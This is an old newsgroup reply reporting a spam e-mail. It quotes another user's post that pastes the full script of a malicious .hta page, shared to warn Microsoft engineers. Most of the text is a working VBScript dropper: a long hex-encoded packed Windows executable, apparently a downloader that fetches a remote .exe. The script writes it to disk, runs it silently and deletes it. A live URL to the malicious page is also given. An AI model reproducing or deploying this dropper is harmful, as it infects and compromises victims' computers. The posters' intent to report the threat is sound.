Re: Possible New Exploit???

lsasgsurvey_at_gmail.com
Date: 08/15/05 

Date: 15 Aug 2005 13:07:38 -0700

Hey there,

I just got an e-mail with this exploit:

From: AdeGuerrer@kampung.com

Header source: kampung.com (dou59-1-82-238-52-63.fbx.proxad.net
[82.238.52.63]

Subject:

A court has sentenced a man to life in jail for the bombing of a
McDonald's restaurant, which left three people dead.

The man, Agung Abdul Hamid, was found guilty of financing and
co-ordinating the attack.

Read full story. (link to the site listed below)

Krypkeeper wrote:
> I dont know what MS group to post this on but, here is some VB script
> that installs something on your computer. I havent seen this before so
> If it will help the MS engineers to combat a new exploit then Ill be
> happy.
>
> here is the web addy, I used Firefox to open it and it didnt load. I
> dont know what the effect on IE would be.,
>
> http://olqp.lastrez.com/w.hta
>
> here is the script, I have taken out the html tags so I can post it
> safely...
>
> <HEAD>
> <HTA:APPLICATION id=ZXC
> APPLICATIONNAME="ZXCV"
> CAPTION=YES
> SHOWINTASKBAR=NO
> SINGLEINSTANCE=YES
> MINIMIZEBUTTON=NO
> MAXIMIZEBUTTON=NO
> WINDOWSTATE=MINIMIZE
> /></HEAD>
> <OBJECT id="MSmedia"
> classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></OBJECT>
> <OBJECT id="MSplay"
> classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></OBJECT>
> <BODY><SCRIPT language="VBScript">
> self.MoveTo 7000,7000
> R=""
> R=R+(V("4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000D00000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F7420626520"))
> R=R+(V("72756E20696E20444F53206D6F64652E0D0D0A24000000000000002C5618FA683776A9683776A9683776A9132B7AA9693776A9EB2B78A9603776A907287CA9673776A992146FA96D3776A9683777A9713776A96E147DA9693776A952696368683776A90000"))
> R=R+(V("000000000000504500004C010300DBBBFC420000000000000000E0000F010B01060000200000001000000020000020410000003000000050000000004000001000000002000004000000000000000400000000000000006000000010000000000000020000"))
> R=R+(V("00000010000010000000001000001000000000000010000000000000000000000000500000A8000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
> R=R+(V("00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000200000001000000000000000040000000000000000000000000000800000E0555058310000000000"))
> R=R+(V("200000003000000014000000040000000000000000000000000000400000E0555058320000000000100000005000000002000000180000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000"))
> R=R+(V("0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
> R=R+(V("0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
> R=R+(V("0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
> R=R+(V("000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000312E323400555058210C09020829BC906587B24EDF9622"))
> R=R+(V("00001711000000220000260000A0227B2892002820401FFFCFFF7F6170706C69636174696F6E0054454D5036353334433634412DDFFEF6FF5A3435342D313232452D4246102D30383343320934533535FFBFFDBF3127687474703A2F2F7A3A652E746F6B65"))
> R=R+(V("727365742E636F97B0FFFF6D2F332F77696E33327362642E657865000C7FAC7B0F482D1A114003092001019049A62820069089E4480010841040066442810106644086108202CC4D864010BF00B2E9AEAA01172E0100E497CD5F0102040800A40360827982"))
> R=R+(V("21DF4F9E1DA6DF07A1A5819FE0FC2F4011C29BE77E80FCA8C1A3DAA357021BE4EC81FE0740B52FFEEF061941B65FCFA2E4A21A00E5A2E8A25BDD7DBE427EA1FE510503DA5EDA6E7F25BF5F5FDA6ADA32D3D8DEE0F939317E03C85F76002005931900FF1EE6"))
> R=R+(V("963644223748030FA423DF2D47DE0BA8234058245C03558BEC81EC6F7FF9DB6C0220535657BEF4108D7DEC6A0AA500A459BE7E64FBB1CC0E9C6A09F3A50CA4C480A594FDDBEE7FDB3D0011A46A4033C0598DBD950EF3AB1698DDD6BE99FE1366ABAA591716"))
> R=R+(V("990E8376BB6B85656A1A11BEA8293C6A412FED6B2D32940C0931590ADFED7FFB8D45C450E87F089683F8015975086A9E15086B85B3B91B7E296804EC50689C101604C73E37FB45EC56501B0642563DC183DCB3EEFFC41433FF33DB85FF75306889001C6890"))
> R=R+(V("33BA7FF9DD28459C2405E0108BF868A00F004D00C9FEED6F4383FB0A7CCC83277406837DFC1E7E7DFD6697FF83FF017408FF45FCE904D64A4107A5256CD8ADDC53D0073FBBBE4DF6B64347360F7CE01485EF0F8405FFF1E11F56555F5E5BC9C21073B818DB"))
> R=R+(V("F6C2CEC52409EC77BEFF3F0857BA8B0BDDDB87CE38E9FF6B889DE805531B53B2DD55680001FD895DFC02EC6FB6C2FBF8C745F0DC53505C3BC389457DD7CCF6F453750D0D4C3EAE07A068003090ED426BBA380808502550C36CF67D087506531D1B655F9BCD"))
> R=R+(V("FD19B6ADF0480F506A013332FD8EAD9954BAB98D368B7D1083C9FF3E6C67BF31F2AEF7D149265124104D182C61B3765B0C277569514F4EB00332D9534F0574411577C2B65FF5DD5991E88968806D703B6D6D6A02B6436816390CAA17FBEDB38A14F8FF2C10"))
> R=R+(V("75180BD84DE860DB4FB608F48BC3EB7271FC70F6646C84F75073583A8B1C0D5BF8B7FD742A0145F88D4D6A5199BDEC9DCDC2401083BDEBB2DFC8ED8D190C636C8B35D66ED6233DFCED8B4DE82A394DF80F94C0C6C3385C58B8339804BA447DFD88A466730B"))
> R=R+(V("67D9D83FA9C3A806556B788C1613F9A5FCFFD9A40591EEF49A10172815FB64ECE4B0FB2B40FD15FD17E9BE16B6205006FC5A3DDDE0DE50F8A54F0A1BB8615037C9B981192B3D1B9EFA6D0BEDECAB00B028A011607DA84857DE7878EC4EA8440030A8B33086"))
> R=R+(V("63723B53061871C9B576F7D81BEF04F02324043C59B8B1C868B61F005F1C0B50F61E37262C3958C3E40B5E1ABB0B871B780C5620128A8A7FF7BFDD050C8B4F880646C6063A46EB030B8B551085D28BCAFBF65BF774288A021D221A8A410146410A75F55152"))
> R=R+(V("B06EBFF4B60B6235593C2F50083C5C7404355C46838D7DDB4D144C8BC8740F4E0930EBBFB7EFB6F31718641B8A0884C91580F92E2D2E46ADFFBB6F0E880E46401205EBF48026005E5DC35355DDAFF46FFF8B7C2414833D1C13A1017E0F0FB6076A1E6BFDA6"))
> R=R+(V("BF0B8559EB0E8B0D10688A044183E0086B5FDADE530347EBD21537D1FE2D8BEE4806FDB0C27B2B75040FEB430C6A04566F96B387400BA13C70040D8D049B0B6FFFB68DB5D030EBCF83FD42C37502445FDD9F226C895B46025259C3CC0051D6F497AD3D4700"))
> R=R+(V("4C2408721481A0196F78FB63BF1085011773EC2BC88BC40C8BE18BF6071E5E34400450595156538B5D08D295FE67D7537B10CC7221807B013A75DD5478A62F3685F67410489B8DF80C6FDDA2806602E743EB0A91D7806C99BE3561400C00803B3C7900FBAD"))
> R=R+(V("B0AB1B746532ABD1F682412BC55A61E16D042340EB1A4C2F6D04FF6F1B167F0A56750B24FCEB068D4801894D0C4080B240B7F5380075CF180C3885382A666AFFB7A8741F2BFB3BFE72028BFE93417A5B6BBF2D6F107D24076828AE0CEFBA9A77814D1085C9"))
> R=R+(V("2156FC3A4C3BFB72196448B6483E141414B669B32D2F18442BCDC673266C3FD9EDF05625FC57E0243E00EB282214236183DD172BC321531F28B670A437FCBC8B446F39033671C1F1047203ADD03C2A2474300F616B1402CEE3FF06048D1F6CBBFD41FFC349"))
> R=R+(V("394C26770C1A111675ED8BD036B808FF2BD183E2012BC2488E9E1881F91BCF682F9628460FB747EB117EAD8D52B056420EC1F95E0B7F89FF445601805E740E8065C1884DFC8845FDA6EB5BA656B6090DFDD741A10A2DD2566A05450151C00BD69A65036411"))
> R=R+(V("471C02B35337B0ADF0450A23C308CC00C9C1DDDDDB8BA2100BC8050C75090F04F7E1D9C6EFD66453058BD81DF764F7030965E233F8E103D35B7F83EC18F05AC3179E3D0DF92E593B3528048910D96EB805F76AC8E63BF30956DDFEEFF8D2B838EF39307472"))
> R=R+(V("83C030423D28140C7CF1EE230BBCA0E850569F30010F852429C682E158BABF4024D3E829D8F05BB15065AA891D442C1186EFFBCDDCEE6B807DEE0984BBECEF8A1184D20CBF150A66AE1C6903D23BC20F87651B11BE9325886985EE520BDCC4AEAE345206C1"))
> R=R+(V("E6040D9EDAED7FB84891C1CB742C8A51014674253EB7FBD6DF85B6FA3BC777145CFC8A9230200890469BD8F8DB401376F541418039B4D4D083C361C3828908E9F8C1B6C705F87DC3FBD14D50A3AC0B0E438DB63CFBBB90DB3BBF300F0459A3BBA5EB554085"))
> R=R+(V("135BA9792CE748CDAA2CF6D367A108403D4072F156392CF65A69D95430FA0BC20C7C03B14D7FEB0D391DACA805DAF735033076049F1D1235BC0FE383C8FF960483252155FE237C722B474BAC29FF25386AFD733F72611434FC750FA1CC1319054E8D2D492D"))
> R=R+(V("135DE302DBC683E8CA17040D854874EE6C6773F0B804B405120B088283C2F311576C906CBD11820DAAB417A3C5393A83EFDCC35FF914AF0123C2088BFFE70AC116DF8F1634C0BE8788FDEC03DF7FC18F82C672F48A45F2C6850D20C1FD76E352379D8D5560"))
> R=R+(V("B60A02C03BC1771DEDBBC76EE58DBC2A41B820008BD9C1E902841DFC1B0BDE83B1F3AA42428A42FF1CD0EC356CE85F5B6AD6ECFA83358D7A36A4D3D106EC3023B3C9BE33FD1D561E5634C54A4676231290FC960266AA7A09277C5C465BBF263B8D72668B01"))
> R=R+(V("C2146DFE7EC216FA108A940564889040EB1CF7EE9CBC1A027410205BEBE380A01C841B1A8D813C00BFEB4915B0C676C325417219045AAA4B2F6F63FFC880C1208888491F1D6172137A770EDDB0372720E920EBE04C4ABEE3EE4FD75EC9B42475126AFDA90C"))
> R=R+(V("60597704EB106424A0D3C18BDB1BF47D0889027511D698D87CA01A1214ECEB6382F005964A9F373D930C8A014AAEFB23BD86F0F68674880774134741191916B146436B0C0AAD14C907DB5E6013B475D2C68067FFA70405F6B6F556C58BC24A9B5E308D4A01"))
> R=R+(V("DBDA1439E18BD1B4CA5E5F5D3577CBE5AA958FC103964623C7B3AF5145400E75F14160BFD12FB401BA7CFE7E03D083D833C283C104EE460BB4A9C34C741C41FC2BE36658E23284E42EA9923D13A9F1FD1958E07431CD96552BC1C326934CB209FEFDFCEDAE"))
> R=R+(V("8D1E066A1348AF684027047F02EFDF64A16F5064892507008965E8A1B01B4BB84C33EEA13ECFE4648BEE1D445E5668443356E44452CFF6FE048BC6EB1D1B18405322BC6334C840CEB458A343C0DD6D2FB3027524F61C4905A1BC107C939AE0C9768933E96A"))
> R=R+(V("772375547E259439395D1819DB6C3371B9838D532C41206BA88B43738540DD1837D8D5D1773C101FE0C663FF8D3C17AB175832C7880324FC3DC0A4A15D608BF4B5DC57CCDB15DC517B680B8D8B1896F6834DCD6E176889C9742949E0565FD73A97AC1C5552"))
> R=R+(V("1114D7A0E142C733EDEB02EE65B44DF026E48458670D964858BCFB93231C33FF393DD4CB75465757D062442E455B53F01ECB6F63B24B208D1D23EB2253DC20CB094D5724222B5BE2F035C61F021DD07E9E6F579FC54F14B4593314A11D01E16D0F691D161C"))
> R=R+(V("C8633E231B6648621420D37D205998B54920732E622485129301202C5D70E1A1EDE43BDF859C137D68041B840FDB8566C441DC4EEB135FDEDA583BFF26118B3867DC7466373BCC1AC1DC616457F4F09DC5DC4DEC1AA5206DF06DA56FBCB4D83BF7E0F6450D"))
> R=R+(V("04123E1C64B35BB378B23BD57F1EDA32E4C16C6D48D28FA1C8B2994B85C7FC01B3369464E417DC895DE012B2EEDD73C0B27DDF74B45664E467B546CD9D749C8FB3F00377E0362BF98C2868201AD532B0B5D82CBFBCB17141072E8E501C718B548774474BAD"))
> R=R+(V("2D22560DA60D24DDE84205ECC4F1498E75F32C36B7D40C5E142B1E83C2BF5A475D84B557157A61D4EBA505F58BEC14F7C61DABD577DDAC10750750756FEB218A3A897BD655A249E411291F75EB2DCDDAA55E1D0CE3036C20BAC15DDB1D2F4B6C85105B5EA6"))
> R=R+(V("F7C7F7DCF6C675123AAA8A0B113A50DBDC49EE6C182EFA2AD67689ED1A2E8923C70463AF8E83F5C13A8B06908B1683C692DEB15E6A17662C845C1EF7C29003BE35BC0C0711C639EB1881E27B0A8D349D090E000439DF6D2BC453AF550A0489075F7555BA61"))
> R=R+(V("BBF8B07585A3FF54026E6BE0AF7147248A8AB305036FF1F983FAA02DF7D94843D8A8BD466BC0A74CC17701F3DDAF03C1061065E203C5335D57607406713A06234AC951D3E91086B396556C8207FC4E686026CEB31C5D3D0205762F8BE599974104066354EA"))
> R=R+(V("D1ABB83AEC4954C0730F2F8902B826C33EA682349BBE11FE686826F5FF35005CF8B6E019F2582F700C83FEED2E3B5DFD422FB8247428A1768B0CB389CB895FA183B748177CB3049E683A2DB38AC0B77F7D171AFF5408EBC3648FFA7B8C5BE7AB8CC3F5648B"))
> R=R+(V("C9817904686BFC42D39F5112520C395108339B5803D7DD8A51BB302B7A08E86F5B23FD614B024304896B0C5946FF85D6D167475643323058433030DBEDC0D53708FAFC7385F740ABB15A8AE43B82EBF896B2B5D695CC8D083E2173FDCBF6EF7B08C1618D0C"))
> R=R+(V("76B18F744556558D6B10DC1BDDADA80B5D5E410B5433783C2563DDB6016B1644B3041D560C86275BC92D083659DE8F8BFDCE75DB048F550C3B08301A8B348FEBA1B8C03BD6E2DB21C9EB155C86109BAC4C3F5D16946E37D8D0BC3B8B29FB1C500318500BCD"))
> R=R+(V("62C924E100F32835754B323FEF573A4D140E1B5B00C9E49599E8173EF0029B8D05B42878084E43B76F97F8FF41B35AB6208D49008A260AE48ADF210AD31D4647D54DF7FF38FC720638DC770202E638F809D8C638C4AE787BA3416BD733C908744BB92736C2"))
> R=R+(V("D4C6724487EB859EFF55FB2F94660D8A1F74230BDB741F3F6286A5AFA5C518B4D8140983F26DE50747C341D55C40C7E5AC0941028BC1EDC9E08A1363BD3D1B6E73376428C39E0C0F8CAAB7088026F87C5A0F8FA1C020079FDF2A3CD8E1BF3D5FA95E7D2539"))
> R=R+(V("09226C8235767E0B7B748805F8E40A5823C6210417E0F6DE0B658B151209C1F870C8F61337608B449780C5650AA48D1AE05B886B885D09587009980B38DA6A5BB756050A6A0B2D6180036EA057F6BC176A6092292005AE6A7506D6BA0D6846F90D05FD032C"))
> R=R+(V("248AC0A6820BC1718D1121A4AA01FD60D50554D7536C656570FDFFB7B8064765916E7669726F6E6D656E74566172696162DFBEFDB6194118457869745016636573730C436C6F73BF975BFB6548616E641A1957726546690A4372176CD8D965610B410C330F"))
> R=R+(V("F677DB6D4F70514D7511780B4C434D617053743980EF12F66E67570D1B52746C556E6FB7EF96A3645A696465436884546F386C746936F6C7DA42793DA24350496E666F0A410BB564EFB1074F454D092732DB9EC5863C1E5D547983410F769A85215704614C"))
> R=R+(V("55962D73B738726E5FDF14760BE8FEBF55726C3F48685175147BDB65DF7985412152F064FC3323F7840B41615045649D6F7418BCDBBBFC42CBE027010B01F21200472FE670143B3B00CB1030AF0B021E012FD96404071F1B5897ECB80628100706429697C4"))
> R=R+(V("44482C3C3090750364641E2ED8176CD7F17407781E90EB022301DD775B1204E017E8A36A000000285200240000FF00000000000000000060BE003040008DBE00E0FFFF5783CDFFEB109090909090908A064688074701DB75078B1E83EEFC11DB72EDB80100"))
> R=R+(V("000001DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E803720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83"))
> R=R+(V("EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B9380000008A07472CE83C0177F7803F0075F28B078A5F0466C1E808C1C01086C429F8"))
> R=R+(V("80EBE801F0890783C70589D8E2D98DBE002000008B0709C0743C8B5F048D84300040000001F35083C708FF963C400000958A074708C074DC89F95748F2AE55FF964040000009C07407890383C304EBE1FF964440000061E9FCD1FFFF000000000000000000"))
> R=R+(V("0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
> R=R+(V("0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
> R=R+(V("0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
> R=R+(V("000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000545000003C"))
> R=R+(V("500000000000000000000000000000615000004C50000000000000000000000000000000000000000000006C5000007A5000008A5000000000000098500000000000004B45524E454C33322E444C4C0057494E494E45542E646C6C00004C6F61644C696272"))
> R=R+(V("61727941000047657450726F634164647265737300004578697450726F63657373000000496E7465726E65744F70656E4100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
> R=R+(V("0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
> R=R+(V("0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
> R=R+(V("00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
> Fi="C:\fh4uh.exe"
> set NNM=MSmedia.CreateTextFile(Fi, TRUE)
> NNM.Write(R)
> NNM.Close()
> MSplay.Run (Fi),1,TRUE
> MSmedia.DeleteFile(Fi)
> self.Close
> Function V(X1)
> Dim K2
> Dim C3:K2=""
> For C3=1 To Len(X1) Step 2
> K2=K2&Chr("&h"&Mid(X1,C3,2))
> Next
> V=K2
> End Function
> </SCRIPT></BODY>